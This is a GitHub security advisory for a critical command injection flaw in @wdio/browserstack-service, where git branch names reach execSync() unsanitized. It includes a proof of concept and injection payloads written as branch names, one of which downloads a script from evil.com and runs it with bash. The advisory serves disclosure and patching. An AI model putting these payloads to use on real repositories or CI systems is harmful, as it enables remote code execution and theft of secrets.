GitHub Security Advisory: GHSA-5c46-x3qw-q7j7
Package: @wdio/browserstack-service (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 9.23.2
Patched in: 9.24.0

Summary: WebdriverIO BrowserStack Service has a Command Injection issue

Details:
### Summary
A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

### Vulnerable Code
**File**:  https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

### Root Cause
User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.
```
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
```


### Attack Vector
1. Attacker creates a malicious git repository with a branch name containing command injection payload
2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.
3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name
4. Branch name is interpolated into shell commands without sanitization
5. Shell interprets special characters and executes attacker's commands

### PoC
### Step 1: Create Malicious Repository Branch
```
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
```

### Step 2: Configure WebdriverIO

```javascript
// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}
```
### Step 3: Run Tests

```bash
npm run wdio
```
### Step 4: Verify RCE

```bash
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt
```

### Impact

- **Remote Code Execution** on CI/CD servers or developer machines
- **Information Disclosure** (environment variables, secrets, credentials)
- **Data Exfiltration** (source code, SSH keys, configuration files)
- **System Compromise** (backdoor installation, lateral movement)
- **Supply Chain Attack** (modify build artifacts)